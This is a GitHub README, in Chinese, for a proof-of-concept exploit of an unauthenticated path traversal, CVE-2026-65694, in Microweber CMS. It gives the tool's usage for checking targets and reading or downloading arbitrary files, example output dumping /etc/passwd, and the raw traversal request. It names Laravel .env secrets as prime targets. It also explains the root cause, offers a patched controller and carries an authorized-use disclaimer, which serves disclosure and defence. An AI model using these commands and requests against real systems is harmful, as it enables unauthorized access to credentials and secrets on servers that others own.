abdugafforov-bobur/CVE-2026-65694-PoC
GitHub: abdugafforov-bobur/CVE-2026-65694-PoC
针对 Microweber CMS 未授权路径遍历导致任意文件读取漏洞的 PoC 利用工具。
Stars: 0 | Forks: 0
# CVE-2026-65694 — Microweber CMS 未授权任意文件读取
针对 [Microweber CMS](https://github.com/microweber/microweber) 中 **CVE-2026-65694**(一个**未授权路径遍历 → 任意文件读取**漏洞)的概念验证。
未经身份验证的攻击者可以通过公共的 `GET /userfiles/{path}` 路由读取 Web 服务器用户有权访问的任何文件——包括 Laravel 的 `.env`(APP_KEY、数据库凭据、邮件/云服务密钥)、`/etc/passwd`、日志、密钥、非 `.php` 配置文件等。
- **CVE:** CVE-2026-65694
- **类型:** 路径遍历 → 未授权任意文件读取 (CWE-22 / CWE-23)
- **严重程度:** 高 — CVSS 3.1 **7.5** (`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`)
- **受影响范围:** Microweber ≤ 2.0.20 以及当前的 `master` 分支(仍存在易受攻击的代码行)
- **身份验证:** 无
## 根本原因
`src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php`
```
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
```
该路由被注册为未授权访问:
```
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
```
两个问题叠加导致了该漏洞:
1. **输入覆盖。** `$request->path`(属性访问,而不是 `$request->path()` 方法)通过 Laravel 的 `Request::__get` → `Arr::get($this->all(), 'path', fn() => $this->route('path'))` 进行解析。因此,**`?path=` 查询参数会覆盖 `{path}` 路由片段**——而且查询值*不受*浏览器或服务器应用于 URL 路径的 `..` 规范化影响。
2. **未进行路径规范化。** `normalize_path()` 仅折叠斜杠;它从不剥离或解析 `..`,也没有检查解析后的路径是否保留在 `userfiles_path()` 内部。随后,PHP 的文件层会在文件系统上解析这些 `..` 序列。
该控制器仅拦截了 `.php`、`.phtml` 和 `.php7` 扩展名(`skip_ext`),因此 PHP 源代码无法被直接读取——但**其他所有内容都可以**(`.env`、`/etc/passwd`、日志、密钥、SQLite 数据库、JSON/YAML 配置等)。
## 环境要求
```
pip install -r requirements.txt
```
在所有使用推荐 `public/` 文档根目录的部署环境中均可触发(例如 Microweber 自带的 `public/.htaccess`,或者配置了 nginx `try_files $uri /index.php` 的前端控制器),在这些环境中,`userfiles/` 位于 Web 根目录之外,且 `/userfiles/*` 会被调度到 Laravel 路由器进行处理。
## 用法
三种操作:
```
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
```
| 标志 | 操作 |
|------|--------|
| `--check` | 报告目标是否存在漏洞(是/否),不输出数据 |
| `-r`, `--read FILE` | 读取文件并将其输出到 stdout |
| `-d`, `--download FILE` | 读取文件并将其在本地保存(使用 `-o`/`--output` 设置文件名) |
遍历深度会自动检测(不断增加 `../` 直到文件被成功返回);可以使用 `--depth N` 覆盖默认值。通过 `--proxy http://127.0.0.1:8080` 经由 Burp 路由。添加 `-v` 可以查看原始请求。
### 示例
```
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
```
底层请求非常简单:
```
GET /userfiles/?path=../../../../etc/passwd HTTP/1.1
Host: target
```
## 影响
未授权任意文件读取。泄露 Laravel 的 `.env` 会暴露 `APP_KEY`
(会话/cookie 伪造)、数据库凭据、邮件密码以及云密钥——这实质上
会导致该实例的机密信息被完全攻陷。
## 修复建议
读取**绑定的路由参数**而不是输入属性,使用 `realpath()` 进行规范化,
并验证解析后的路径确保其保留在 `userfiles_path()` 内部:
```
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
```
## 致谢
由 **Bobur Abdugafforov** 发现并报告。CVE-2026-65694 由 VulnCheck 分配。
## 免责声明
仅供授权的安全测试和教育用途使用。请勿针对您不拥有或未获得明确测试许可的系统使用。
标签:Maven, Microweber CMS, OpenVAS, PHP, Web安全, 任意文件读取, 数据处理, 漏洞验证, 蓝队分析, 路径遍历, 逆向工具